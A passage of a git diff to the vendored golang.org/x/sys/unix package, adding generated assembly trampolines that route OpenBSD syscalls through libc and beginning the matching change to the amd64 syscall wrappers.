+TEXT libc_mlockall_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_mlockall(SB) + +GLOBL ·libc_mlockall_trampoline_addr(SB), RODATA, $4 +DATA ·libc_mlockall_trampoline_addr(SB)/4, $libc_mlockall_trampoline<>(SB) + +TEXT libc_mprotect_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_mprotect(SB) + +GLOBL ·libc_mprotect_trampoline_addr(SB), RODATA, $4 +DATA ·libc_mprotect_trampoline_addr(SB)/4, $libc_mprotect_trampoline<>(SB) + +TEXT libc_msync_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_msync(SB) + +GLOBL ·libc_msync_trampoline_addr(SB), RODATA, $4 +DATA ·libc_msync_trampoline_addr(SB)/4, $libc_msync_trampoline<>(SB) + +TEXT libc_munlock_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_munlock(SB) + +GLOBL ·libc_munlock_trampoline_addr(SB), RODATA, $4 +DATA ·libc_munlock_trampoline_addr(SB)/4, $libc_munlock_trampoline<>(SB) + +TEXT libc_munlockall_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_munlockall(SB) + +GLOBL ·libc_munlockall_trampoline_addr(SB), RODATA, $4 +DATA ·libc_munlockall_trampoline_addr(SB)/4, $libc_munlockall_trampoline<>(SB) + +TEXT libc_pipe2_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_pipe2(SB) + +GLOBL ·libc_pipe2_trampoline_addr(SB), RODATA, $4 +DATA ·libc_pipe2_trampoline_addr(SB)/4, $libc_pipe2_trampoline<>(SB) + +TEXT libc_getdents_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getdents(SB) + +GLOBL ·libc_getdents_trampoline_addr(SB), RODATA, $4 +DATA ·libc_getdents_trampoline_addr(SB)/4, $libc_getdents_trampoline<>(SB) + +TEXT libc_getcwd_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getcwd(SB) + +GLOBL ·libc_getcwd_trampoline_addr(SB), RODATA, $4 +DATA ·libc_getcwd_trampoline_addr(SB)/4, $libc_getcwd_trampoline<>(SB) + +TEXT libc_ioctl_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_ioctl(SB) + +GLOBL ·libc_ioctl_trampoline_addr(SB), RODATA, $4 +DATA ·libc_ioctl_trampoline_addr(SB)/4, $libc_ioctl_trampoline<>(SB) + +TEXT libc_sysctl_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_sysctl(SB) + +GLOBL ·libc_sysctl_trampoline_addr(SB), RODATA, $4 +DATA ·libc_sysctl_trampoline_addr(SB)/4, $libc_sysctl_trampoline<>(SB) + +TEXT libc_ppoll_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_ppoll(SB) + +GLOBL ·libc_ppoll_trampoline_addr(SB), RODATA, $4 +DATA ·libc_ppoll_trampoline_addr(SB)/4, $libc_ppoll_trampoline<>(SB) + +TEXT libc_access_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_access(SB) + +GLOBL ·libc_access_trampoline_addr(SB), RODATA, $4 +DATA ·libc_access_trampoline_addr(SB)/4, $libc_access_trampoline<>(SB) + +TEXT libc_adjtime_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_adjtime(SB) + +GLOBL ·libc_adjtime_trampoline_addr(SB), RODATA, $4 +DATA ·libc_adjtime_trampoline_addr(SB)/4, $libc_adjtime_trampoline<>(SB) + +TEXT libc_chdir_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_chdir(SB) + +GLOBL ·libc_chdir_trampoline_addr(SB), RODATA, $4 +DATA ·libc_chdir_trampoline_addr(SB)/4, $libc_chdir_trampoline<>(SB) + +TEXT libc_chflags_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_chflags(SB) + +GLOBL ·libc_chflags_trampoline_addr(SB), RODATA, $4 +DATA ·libc_chflags_trampoline_addr(SB)/4, $libc_chflags_trampoline<>(SB) + +TEXT libc_chmod_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_chmod(SB) + +GLOBL ·libc_chmod_trampoline_addr(SB), RODATA, $4 +DATA ·libc_chmod_trampoline_addr(SB)/4, $libc_chmod_trampoline<>(SB) + +TEXT libc_chown_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_chown(SB) + +GLOBL ·libc_chown_trampoline_addr(SB), RODATA, $4 +DATA ·libc_chown_trampoline_addr(SB)/4, $libc_chown_trampoline<>(SB) + +TEXT libc_chroot_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_chroot(SB) + +GLOBL ·libc_chroot_trampoline_addr(SB), RODATA, $4 +DATA ·libc_chroot_trampoline_addr(SB)/4, $libc_chroot_trampoline<>(SB) + +TEXT libc_close_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_close(SB) + +GLOBL ·libc_close_trampoline_addr(SB), RODATA, $4 +DATA ·libc_close_trampoline_addr(SB)/4, $libc_close_trampoline<>(SB) + +TEXT libc_dup_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_dup(SB) + +GLOBL ·libc_dup_trampoline_addr(SB), RODATA, $4 +DATA ·libc_dup_trampoline_addr(SB)/4, $libc_dup_trampoline<>(SB) + +TEXT libc_dup2_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_dup2(SB) + +GLOBL ·libc_dup2_trampoline_addr(SB), RODATA, $4 +DATA ·libc_dup2_trampoline_addr(SB)/4, $libc_dup2_trampoline<>(SB) + +TEXT libc_dup3_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_dup3(SB) + +GLOBL ·libc_dup3_trampoline_addr(SB), RODATA, $4 +DATA ·libc_dup3_trampoline_addr(SB)/4, $libc_dup3_trampoline<>(SB) + +TEXT libc_exit_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_exit(SB) + +GLOBL ·libc_exit_trampoline_addr(SB), RODATA, $4 +DATA ·libc_exit_trampoline_addr(SB)/4, $libc_exit_trampoline<>(SB) + +TEXT libc_faccessat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_faccessat(SB) + +GLOBL ·libc_faccessat_trampoline_addr(SB), RODATA, $4 +DATA ·libc_faccessat_trampoline_addr(SB)/4, $libc_faccessat_trampoline<>(SB) + +TEXT libc_fchdir_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_fchdir(SB) + +GLOBL ·libc_fchdir_trampoline_addr(SB), RODATA, $4 +DATA ·libc_fchdir_trampoline_addr(SB)/4, $libc_fchdir_trampoline<>(SB) + +TEXT libc_fchflags_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_fchflags(SB) + +GLOBL ·libc_fchflags_trampoline_addr(SB), RODATA, $4 +DATA ·libc_fchflags_trampoline_addr(SB)/4, $libc_fchflags_trampoline<>(SB) + +TEXT libc_fchmod_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_fchmod(SB) + +GLOBL ·libc_fchmod_trampoline_addr(SB), RODATA, $4 +DATA ·libc_fchmod_trampoline_addr(SB)/4, $libc_fchmod_trampoline<>(SB) + +TEXT libc_fchmodat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_fchmodat(SB) + +GLOBL ·libc_fchmodat_trampoline_addr(SB), RODATA, $4 +DATA ·libc_fchmodat_trampoline_addr(SB)/4, $libc_fchmodat_trampoline<>(SB) + +TEXT libc_fchown_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_fchown(SB) + +GLOBL ·libc_fchown_trampoline_addr(SB), RODATA, $4 +DATA ·libc_fchown_trampoline_addr(SB)/4, $libc_fchown_trampoline<>(SB) + +TEXT libc_fchownat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_fchownat(SB) + +GLOBL ·libc_fchownat_trampoline_addr(SB), RODATA, $4 +DATA ·libc_fchownat_trampoline_addr(SB)/4, $libc_fchownat_trampoline<>(SB) + +TEXT libc_flock_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_flock(SB) + +GLOBL ·libc_flock_trampoline_addr(SB), RODATA, $4 +DATA ·libc_flock_trampoline_addr(SB)/4, $libc_flock_trampoline<>(SB) + +TEXT libc_fpathconf_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_fpathconf(SB) + +GLOBL ·libc_fpathconf_trampoline_addr(SB), RODATA, $4 +DATA ·libc_fpathconf_trampoline_addr(SB)/4, $libc_fpathconf_trampoline<>(SB) + +TEXT libc_fstat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_fstat(SB) + +GLOBL ·libc_fstat_trampoline_addr(SB), RODATA, $4 +DATA ·libc_fstat_trampoline_addr(SB)/4, $libc_fstat_trampoline<>(SB) + +TEXT libc_fstatat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_fstatat(SB) + +GLOBL ·libc_fstatat_trampoline_addr(SB), RODATA, $4 +DATA ·libc_fstatat_trampoline_addr(SB)/4, $libc_fstatat_trampoline<>(SB) + +TEXT libc_fstatfs_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_fstatfs(SB) + +GLOBL ·libc_fstatfs_trampoline_addr(SB), RODATA, $4 +DATA ·libc_fstatfs_trampoline_addr(SB)/4, $libc_fstatfs_trampoline<>(SB) + +TEXT libc_fsync_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_fsync(SB) + +GLOBL ·libc_fsync_trampoline_addr(SB), RODATA, $4 +DATA ·libc_fsync_trampoline_addr(SB)/4, $libc_fsync_trampoline<>(SB) + +TEXT libc_ftruncate_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_ftruncate(SB) + +GLOBL ·libc_ftruncate_trampoline_addr(SB), RODATA, $4 +DATA ·libc_ftruncate_trampoline_addr(SB)/4, $libc_ftruncate_trampoline<>(SB) + +TEXT libc_getegid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getegid(SB) + +GLOBL ·libc_getegid_trampoline_addr(SB), RODATA, $4 +DATA ·libc_getegid_trampoline_addr(SB)/4, $libc_getegid_trampoline<>(SB) + +TEXT libc_geteuid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_geteuid(SB) + +GLOBL ·libc_geteuid_trampoline_addr(SB), RODATA, $4 +DATA ·libc_geteuid_trampoline_addr(SB)/4, $libc_geteuid_trampoline<>(SB) + +TEXT libc_getgid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getgid(SB) + +GLOBL ·libc_getgid_trampoline_addr(SB), RODATA, $4 +DATA ·libc_getgid_trampoline_addr(SB)/4, $libc_getgid_trampoline<>(SB) + +TEXT libc_getpgid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getpgid(SB) + +GLOBL ·libc_getpgid_trampoline_addr(SB), RODATA, $4 +DATA ·libc_getpgid_trampoline_addr(SB)/4, $libc_getpgid_trampoline<>(SB) + +TEXT libc_getpgrp_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getpgrp(SB) + +GLOBL ·libc_getpgrp_trampoline_addr(SB), RODATA, $4 +DATA ·libc_getpgrp_trampoline_addr(SB)/4, $libc_getpgrp_trampoline<>(SB) + +TEXT libc_getpid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getpid(SB) + +GLOBL ·libc_getpid_trampoline_addr(SB), RODATA, $4 +DATA ·libc_getpid_trampoline_addr(SB)/4, $libc_getpid_trampoline<>(SB) + +TEXT libc_getppid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getppid(SB) + +GLOBL ·libc_getppid_trampoline_addr(SB), RODATA, $4 +DATA ·libc_getppid_trampoline_addr(SB)/4, $libc_getppid_trampoline<>(SB) + +TEXT libc_getpriority_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getpriority(SB) + +GLOBL ·libc_getpriority_trampoline_addr(SB), RODATA, $4 +DATA ·libc_getpriority_trampoline_addr(SB)/4, $libc_getpriority_trampoline<>(SB) + +TEXT libc_getrlimit_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getrlimit(SB) + +GLOBL ·libc_getrlimit_trampoline_addr(SB), RODATA, $4 +DATA ·libc_getrlimit_trampoline_addr(SB)/4, $libc_getrlimit_trampoline<>(SB) + +TEXT libc_getrtable_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getrtable(SB) + +GLOBL ·libc_getrtable_trampoline_addr(SB), RODATA, $4 +DATA ·libc_getrtable_trampoline_addr(SB)/4, $libc_getrtable_trampoline<>(SB) + +TEXT libc_getrusage_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getrusage(SB) + +GLOBL ·libc_getrusage_trampoline_addr(SB), RODATA, $4 +DATA ·libc_getrusage_trampoline_addr(SB)/4, $libc_getrusage_trampoline<>(SB) + +TEXT libc_getsid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getsid(SB) + +GLOBL ·libc_getsid_trampoline_addr(SB), RODATA, $4 +DATA ·libc_getsid_trampoline_addr(SB)/4, $libc_getsid_trampoline<>(SB) + +TEXT libc_gettimeofday_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_gettimeofday(SB) + +GLOBL ·libc_gettimeofday_trampoline_addr(SB), RODATA, $4 +DATA ·libc_gettimeofday_trampoline_addr(SB)/4, $libc_gettimeofday_trampoline<>(SB) + +TEXT libc_getuid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getuid(SB) + +GLOBL ·libc_getuid_trampoline_addr(SB), RODATA, $4 +DATA ·libc_getuid_trampoline_addr(SB)/4, $libc_getuid_trampoline<>(SB) + +TEXT libc_issetugid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_issetugid(SB) + +GLOBL ·libc_issetugid_trampoline_addr(SB), RODATA, $4 +DATA ·libc_issetugid_trampoline_addr(SB)/4, $libc_issetugid_trampoline<>(SB) + +TEXT libc_kill_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_kill(SB) + +GLOBL ·libc_kill_trampoline_addr(SB), RODATA, $4 +DATA ·libc_kill_trampoline_addr(SB)/4, $libc_kill_trampoline<>(SB) + +TEXT libc_kqueue_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_kqueue(SB) + +GLOBL ·libc_kqueue_trampoline_addr(SB), RODATA, $4 +DATA ·libc_kqueue_trampoline_addr(SB)/4, $libc_kqueue_trampoline<>(SB) + +TEXT libc_lchown_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_lchown(SB) + +GLOBL ·libc_lchown_trampoline_addr(SB), RODATA, $4 +DATA ·libc_lchown_trampoline_addr(SB)/4, $libc_lchown_trampoline<>(SB) + +TEXT libc_link_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_link(SB) + +GLOBL ·libc_link_trampoline_addr(SB), RODATA, $4 +DATA ·libc_link_trampoline_addr(SB)/4, $libc_link_trampoline<>(SB) + +TEXT libc_linkat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_linkat(SB) + +GLOBL ·libc_linkat_trampoline_addr(SB), RODATA, $4 +DATA ·libc_linkat_trampoline_addr(SB)/4, $libc_linkat_trampoline<>(SB) + +TEXT libc_listen_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_listen(SB) + +GLOBL ·libc_listen_trampoline_addr(SB), RODATA, $4 +DATA ·libc_listen_trampoline_addr(SB)/4, $libc_listen_trampoline<>(SB) + +TEXT libc_lstat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_lstat(SB) + +GLOBL ·libc_lstat_trampoline_addr(SB), RODATA, $4 +DATA ·libc_lstat_trampoline_addr(SB)/4, $libc_lstat_trampoline<>(SB) + +TEXT libc_mkdir_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_mkdir(SB) + +GLOBL ·libc_mkdir_trampoline_addr(SB), RODATA, $4 +DATA ·libc_mkdir_trampoline_addr(SB)/4, $libc_mkdir_trampoline<>(SB) + +TEXT libc_mkdirat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_mkdirat(SB) + +GLOBL ·libc_mkdirat_trampoline_addr(SB), RODATA, $4 +DATA ·libc_mkdirat_trampoline_addr(SB)/4, $libc_mkdirat_trampoline<>(SB) + +TEXT libc_mkfifo_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_mkfifo(SB) + +GLOBL ·libc_mkfifo_trampoline_addr(SB), RODATA, $4 +DATA ·libc_mkfifo_trampoline_addr(SB)/4, $libc_mkfifo_trampoline<>(SB) + +TEXT libc_mkfifoat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_mkfifoat(SB) + +GLOBL ·libc_mkfifoat_trampoline_addr(SB), RODATA, $4 +DATA ·libc_mkfifoat_trampoline_addr(SB)/4, $libc_mkfifoat_trampoline<>(SB) + +TEXT libc_mknod_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_mknod(SB) + +GLOBL ·libc_mknod_trampoline_addr(SB), RODATA, $4 +DATA ·libc_mknod_trampoline_addr(SB)/4, $libc_mknod_trampoline<>(SB) + +TEXT libc_mknodat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_mknodat(SB) + +GLOBL ·libc_mknodat_trampoline_addr(SB), RODATA, $4 +DATA ·libc_mknodat_trampoline_addr(SB)/4, $libc_mknodat_trampoline<>(SB) + +TEXT libc_nanosleep_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_nanosleep(SB) + +GLOBL ·libc_nanosleep_trampoline_addr(SB), RODATA, $4 +DATA ·libc_nanosleep_trampoline_addr(SB)/4, $libc_nanosleep_trampoline<>(SB) + +TEXT libc_open_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_open(SB) + +GLOBL ·libc_open_trampoline_addr(SB), RODATA, $4 +DATA ·libc_open_trampoline_addr(SB)/4, $libc_open_trampoline<>(SB) + +TEXT libc_openat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_openat(SB) + +GLOBL ·libc_openat_trampoline_addr(SB), RODATA, $4 +DATA ·libc_openat_trampoline_addr(SB)/4, $libc_openat_trampoline<>(SB) + +TEXT libc_pathconf_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_pathconf(SB) + +GLOBL ·libc_pathconf_trampoline_addr(SB), RODATA, $4 +DATA ·libc_pathconf_trampoline_addr(SB)/4, $libc_pathconf_trampoline<>(SB) + +TEXT libc_pread_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_pread(SB) + +GLOBL ·libc_pread_trampoline_addr(SB), RODATA, $4 +DATA ·libc_pread_trampoline_addr(SB)/4, $libc_pread_trampoline<>(SB) + +TEXT libc_pwrite_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_pwrite(SB) + +GLOBL ·libc_pwrite_trampoline_addr(SB), RODATA, $4 +DATA ·libc_pwrite_trampoline_addr(SB)/4, $libc_pwrite_trampoline<>(SB) + +TEXT libc_read_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_read(SB) + +GLOBL ·libc_read_trampoline_addr(SB), RODATA, $4 +DATA ·libc_read_trampoline_addr(SB)/4, $libc_read_trampoline<>(SB) + +TEXT libc_readlink_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_readlink(SB) + +GLOBL ·libc_readlink_trampoline_addr(SB), RODATA, $4 +DATA ·libc_readlink_trampoline_addr(SB)/4, $libc_readlink_trampoline<>(SB) + +TEXT libc_readlinkat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_readlinkat(SB) + +GLOBL ·libc_readlinkat_trampoline_addr(SB), RODATA, $4 +DATA ·libc_readlinkat_trampoline_addr(SB)/4, $libc_readlinkat_trampoline<>(SB) + +TEXT libc_rename_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_rename(SB) + +GLOBL ·libc_rename_trampoline_addr(SB), RODATA, $4 +DATA ·libc_rename_trampoline_addr(SB)/4, $libc_rename_trampoline<>(SB) + +TEXT libc_renameat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_renameat(SB) + +GLOBL ·libc_renameat_trampoline_addr(SB), RODATA, $4 +DATA ·libc_renameat_trampoline_addr(SB)/4, $libc_renameat_trampoline<>(SB) + +TEXT libc_revoke_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_revoke(SB) + +GLOBL ·libc_revoke_trampoline_addr(SB), RODATA, $4 +DATA ·libc_revoke_trampoline_addr(SB)/4, $libc_revoke_trampoline<>(SB) + +TEXT libc_rmdir_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_rmdir(SB) + +GLOBL ·libc_rmdir_trampoline_addr(SB), RODATA, $4 +DATA ·libc_rmdir_trampoline_addr(SB)/4, $libc_rmdir_trampoline<>(SB) + +TEXT libc_lseek_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_lseek(SB) + +GLOBL ·libc_lseek_trampoline_addr(SB), RODATA, $4 +DATA ·libc_lseek_trampoline_addr(SB)/4, $libc_lseek_trampoline<>(SB) + +TEXT libc_select_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_select(SB) + +GLOBL ·libc_select_trampoline_addr(SB), RODATA, $4 +DATA ·libc_select_trampoline_addr(SB)/4, $libc_select_trampoline<>(SB) + +TEXT libc_setegid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_setegid(SB) + +GLOBL ·libc_setegid_trampoline_addr(SB), RODATA, $4 +DATA ·libc_setegid_trampoline_addr(SB)/4, $libc_setegid_trampoline<>(SB) + +TEXT libc_seteuid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_seteuid(SB) + +GLOBL ·libc_seteuid_trampoline_addr(SB), RODATA, $4 +DATA ·libc_seteuid_trampoline_addr(SB)/4, $libc_seteuid_trampoline<>(SB) + +TEXT libc_setgid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_setgid(SB) + +GLOBL ·libc_setgid_trampoline_addr(SB), RODATA, $4 +DATA ·libc_setgid_trampoline_addr(SB)/4, $libc_setgid_trampoline<>(SB) + +TEXT libc_setlogin_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_setlogin(SB) + +GLOBL ·libc_setlogin_trampoline_addr(SB), RODATA, $4 +DATA ·libc_setlogin_trampoline_addr(SB)/4, $libc_setlogin_trampoline<>(SB) + +TEXT libc_setpgid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_setpgid(SB) + +GLOBL ·libc_setpgid_trampoline_addr(SB), RODATA, $4 +DATA ·libc_setpgid_trampoline_addr(SB)/4, $libc_setpgid_trampoline<>(SB) + +TEXT libc_setpriority_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_setpriority(SB) + +GLOBL ·libc_setpriority_trampoline_addr(SB), RODATA, $4 +DATA ·libc_setpriority_trampoline_addr(SB)/4, $libc_setpriority_trampoline<>(SB) + +TEXT libc_setregid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_setregid(SB) + +GLOBL ·libc_setregid_trampoline_addr(SB), RODATA, $4 +DATA ·libc_setregid_trampoline_addr(SB)/4, $libc_setregid_trampoline<>(SB) + +TEXT libc_setreuid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_setreuid(SB) + +GLOBL ·libc_setreuid_trampoline_addr(SB), RODATA, $4 +DATA ·libc_setreuid_trampoline_addr(SB)/4, $libc_setreuid_trampoline<>(SB) + +TEXT libc_setresgid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_setresgid(SB) + +GLOBL ·libc_setresgid_trampoline_addr(SB), RODATA, $4 +DATA ·libc_setresgid_trampoline_addr(SB)/4, $libc_setresgid_trampoline<>(SB) + +TEXT libc_setresuid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_setresuid(SB) + +GLOBL ·libc_setresuid_trampoline_addr(SB), RODATA, $4 +DATA ·libc_setresuid_trampoline_addr(SB)/4, $libc_setresuid_trampoline<>(SB) + +TEXT libc_setrlimit_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_setrlimit(SB) + +GLOBL ·libc_setrlimit_trampoline_addr(SB), RODATA, $4 +DATA ·libc_setrlimit_trampoline_addr(SB)/4, $libc_setrlimit_trampoline<>(SB) + +TEXT libc_setrtable_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_setrtable(SB) + +GLOBL ·libc_setrtable_trampoline_addr(SB), RODATA, $4 +DATA ·libc_setrtable_trampoline_addr(SB)/4, $libc_setrtable_trampoline<>(SB) + +TEXT libc_setsid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_setsid(SB) + +GLOBL ·libc_setsid_trampoline_addr(SB), RODATA, $4 +DATA ·libc_setsid_trampoline_addr(SB)/4, $libc_setsid_trampoline<>(SB) + +TEXT libc_settimeofday_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_settimeofday(SB) + +GLOBL ·libc_settimeofday_trampoline_addr(SB), RODATA, $4 +DATA ·libc_settimeofday_trampoline_addr(SB)/4, $libc_settimeofday_trampoline<>(SB) + +TEXT libc_setuid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_setuid(SB) + +GLOBL ·libc_setuid_trampoline_addr(SB), RODATA, $4 +DATA ·libc_setuid_trampoline_addr(SB)/4, $libc_setuid_trampoline<>(SB) + +TEXT libc_stat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_stat(SB) + +GLOBL ·libc_stat_trampoline_addr(SB), RODATA, $4 +DATA ·libc_stat_trampoline_addr(SB)/4, $libc_stat_trampoline<>(SB) + +TEXT libc_statfs_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_statfs(SB) + +GLOBL ·libc_statfs_trampoline_addr(SB), RODATA, $4 +DATA ·libc_statfs_trampoline_addr(SB)/4, $libc_statfs_trampoline<>(SB) + +TEXT libc_symlink_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_symlink(SB) + +GLOBL ·libc_symlink_trampoline_addr(SB), RODATA, $4 +DATA ·libc_symlink_trampoline_addr(SB)/4, $libc_symlink_trampoline<>(SB) + +TEXT libc_symlinkat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_symlinkat(SB) + +GLOBL ·libc_symlinkat_trampoline_addr(SB), RODATA, $4 +DATA ·libc_symlinkat_trampoline_addr(SB)/4, $libc_symlinkat_trampoline<>(SB) + +TEXT libc_sync_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_sync(SB) + +GLOBL ·libc_sync_trampoline_addr(SB), RODATA, $4 +DATA ·libc_sync_trampoline_addr(SB)/4, $libc_sync_trampoline<>(SB) + +TEXT libc_truncate_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_truncate(SB) + +GLOBL ·libc_truncate_trampoline_addr(SB), RODATA, $4 +DATA ·libc_truncate_trampoline_addr(SB)/4, $libc_truncate_trampoline<>(SB) + +TEXT libc_umask_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_umask(SB) + +GLOBL ·libc_umask_trampoline_addr(SB), RODATA, $4 +DATA ·libc_umask_trampoline_addr(SB)/4, $libc_umask_trampoline<>(SB) + +TEXT libc_unlink_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_unlink(SB) + +GLOBL ·libc_unlink_trampoline_addr(SB), RODATA, $4 +DATA ·libc_unlink_trampoline_addr(SB)/4, $libc_unlink_trampoline<>(SB) + +TEXT libc_unlinkat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_unlinkat(SB) + +GLOBL ·libc_unlinkat_trampoline_addr(SB), RODATA, $4 +DATA ·libc_unlinkat_trampoline_addr(SB)/4, $libc_unlinkat_trampoline<>(SB) + +TEXT libc_unmount_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_unmount(SB) + +GLOBL ·libc_unmount_trampoline_addr(SB), RODATA, $4 +DATA ·libc_unmount_trampoline_addr(SB)/4, $libc_unmount_trampoline<>(SB) + +TEXT libc_write_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_write(SB) + +GLOBL ·libc_write_trampoline_addr(SB), RODATA, $4 +DATA ·libc_write_trampoline_addr(SB)/4, $libc_write_trampoline<>(SB) + +TEXT libc_mmap_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_mmap(SB) + +GLOBL ·libc_mmap_trampoline_addr(SB), RODATA, $4 +DATA ·libc_mmap_trampoline_addr(SB)/4, $libc_mmap_trampoline<>(SB) + +TEXT libc_munmap_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_munmap(SB) + +GLOBL ·libc_munmap_trampoline_addr(SB), RODATA, $4 +DATA ·libc_munmap_trampoline_addr(SB)/4, $libc_munmap_trampoline<>(SB) + +TEXT libc_utimensat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_utimensat(SB) + +GLOBL ·libc_utimensat_trampoline_addr(SB), RODATA, $4 +DATA ·libc_utimensat_trampoline_addr(SB)/4, $libc_utimensat_trampoline<>(SB) diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_amd64.go b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_amd64.go index 04db8fa2f..98446d2b9 100644 --- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_amd64.go +++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_amd64.go @@ -1,4 +1,4 @@ -// go run mksyscall.go -openbsd -tags openbsd,amd64 syscall_bsd.go syscall_openbsd.go syscall_openbsd_amd64.go +// go run mksyscall.go -openbsd -libc -tags openbsd,amd64 syscall_bsd.go syscall_openbsd.go syscall_openbsd_amd64.go // Code generated by the command above; see README.md. DO NOT EDIT. //go:build openbsd && amd64 @@ -16,7 +16,7 @@ var _ syscall.Errno // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func getgroups(ngid int, gid *_Gid_t) (n int, err error) { - r0, _, e1 := RawSyscall(SYS_GETGROUPS, uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0) + r0, _, e1 := syscall_rawSyscall(libc_getgroups_trampoline_addr, uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -24,20 +24,28 @@ func 